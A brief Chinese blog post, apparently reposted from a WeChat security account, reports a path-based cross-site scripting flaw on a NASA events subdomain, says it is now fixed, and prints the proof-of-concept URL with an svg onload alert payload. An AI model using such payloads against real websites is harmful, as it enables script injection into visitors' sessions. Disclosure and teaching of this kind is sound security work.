美国宇航局(NASA)存在基于URL Path的 XSS漏洞
哈哈,标题党了,其实是个子域名里的XSS。。。
NASA的子域名数量十分庞大,这种漏洞感觉应该少不了。
Payload
https://events.jsc.nasa.gov/<svg onload=alert(document.domain)>/admin/login.cfm
(预告,明天公众号会分享几个XSS案例,其中会讲什么是基于URL Path的 XSS)
P.S. 目前测试,NASA 已修复此漏洞
本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
今日关注福利
回复 book1 ,获取 我收藏的安全电子书pdf合集,都是很经典的书,免费送给大家
原文始发于微信公众号(我不是Hacker):震惊!堂堂美国宇航局(NASA)居然存在 XSS漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论